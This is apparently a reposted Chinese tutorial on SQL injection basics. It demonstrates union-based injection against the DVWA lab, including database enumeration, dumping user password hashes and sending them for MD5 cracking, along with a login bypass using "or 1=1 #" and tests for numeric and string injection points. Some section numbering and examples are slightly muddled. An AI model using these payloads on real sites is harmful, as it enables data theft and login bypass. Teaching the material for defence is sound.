sql注入基础原理(超详细)

sql注入基础原理(超详细)一 Sql 注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中 再在后台 Sql 服务器上解析执行进行的攻击 它目前黑客对数据库进行攻击的最常用手段之一 二 Web 程序三层架构三层架构 3 tierarchitec 通常意义上就是将整个业务应用划分为 界面层 UserInterfac 业务逻辑层 Busi

一、Sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

二、Web 程序三层架构

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

  • 界面层(User Interface layer)
  • 业务逻辑层(Business Logic Layer)
  • 数据访问层(Data access layer)。
  • 表示层。
  • 业务逻辑层(又称领域层)
  • 数据访问层(又称存储层)

拓扑结构如下图所示

sql注入基础原理(超详细)

 

在上图中,用户访问实验楼主页进行了如下过程:

  • 在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。
  • 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
  • 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。
  • 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。
  • 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
  • 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系

三、Sql 注入漏洞详解

3.1 Sql 注入产生原因及威胁:

Sql 注入带来的威胁主要有如下几点

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

3.2 Sql 注入示例一.猜解数据库

接下来我们通过一个实例,让你更加清楚的理解 Sql 注入猜解数据库是如何发生的。
使用DVWA渗透测试平台,作为攻击测试的目标:

sql注入基础原理(超详细)

先输入 1 ,查看回显 (URL中ID=1,说明php页面通过get方法传递参数):

sql注入基础原理(超详细)

 

那实际上后台执行了什么样的Sql语句呢?点击 view source查看源代码 ,其中的SQL查询代码为:

sql注入基础原理(超详细)

 

可以看到,实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1'; 
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误) 

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

输入 1' order by 1#1' order by 2#时都返回正常:

sql注入基础原理(超详细)

由此可知,users表中只有两个字段,数据为两列。

接下来我们使用 union select联合查询继续获取信息。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#进行查询 :




  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

实际执行的Sql语句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`; 

sql注入基础原理(超详细)

通过上图返回信息,我们成功获取到:

  • 当前网站使用数据库为 dvwa .
  • 当前执行查询用户名为 root@localhost .

同理我们再输入 1' union select version(),@@version_compile_os#进行查询:

  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`; 

sql注入基础原理(超详细)

通过上图返回信息,我们又成功获取到:

  • 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
  • 当前操作系统为 : debian-linux-gnu

我们输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询:
实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`; 

sql注入基础原理(超详细)

通过上图返回信息,我们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbook 和 users .

有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询:
实际执行的 Sql 语句是:




SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`; 

 

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。
直此,同学们应该已经对 Sql 注入有了一个大概得了解,也清楚了 Sql 注入的强大。

4.3 Sql 注入实例二.验证绕过

接下来我们再试试另一个利用 Sql 漏洞绕过登录验证的实例。
使用事先编写好的页面,这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。

sql注入基础原理(超详细)

我们先尝试随意输入用户名 123 和密码 123 登录:

sql注入基础原理(超详细)

 

sql注入基础原理(超详细)

s

实际执行的操作时:

select * from users where username='123' and password='123' 

sql注入基础原理(超详细)

 

为什么能够成功登陆呢?因为实际执行的语句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #' 

按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):

select * from users where username='123' or 1=1 

sql注入基础原理(超详细)

 

实际执行的 Sql 语句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1 

看到了吗?两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。

还有很多其他 Mysql 语句可以巧妙的绕过验证,同学们可以发散自己的思维进行尝试。

四、判断 Sql 注入点

通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX
对 Sql 注入的判断,主要有两个方面:

  • 判断该带参数的 Url 是否存在 Sql 注入?
  • 如果存在 Sql 注入,那么属于哪种 Sql 注入?

可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

4.1 判断是否存在 Sql 注入漏洞

最为经典的单引号判断法
在参数后面加上单引号,比如:

http://xxx/abc.php?id=1' 

4.2 判断 Sql 注入漏洞的类型

通常 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

sql注入基础原理(超详细)

4.2.1 数字型判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
select * from 
  <表名>
    where id = x and 1=1 
  

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from 
  <表名>
    where id = x and 1=2 
  
select * from 
  <表名>
    where id = 'x and 1=1' select * from 
   <表名>
     where id = 'x and 1=2' 
    
  

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

4.2.2 字符型判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
select * from 
  <表名>
    where id = 'x' and '1'='1' 
  

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from 
  <表名>
    where id = 'x' and '1'='2' 
  

语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。

五、 总结

同学们看懂了吗?如果觉得文章不错的话,麻烦点击一下上面的关注按钮!点击一下,瘦十斤哦

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/205561.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月19日 下午5:44
下一篇 2026年3月19日 下午5:44


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号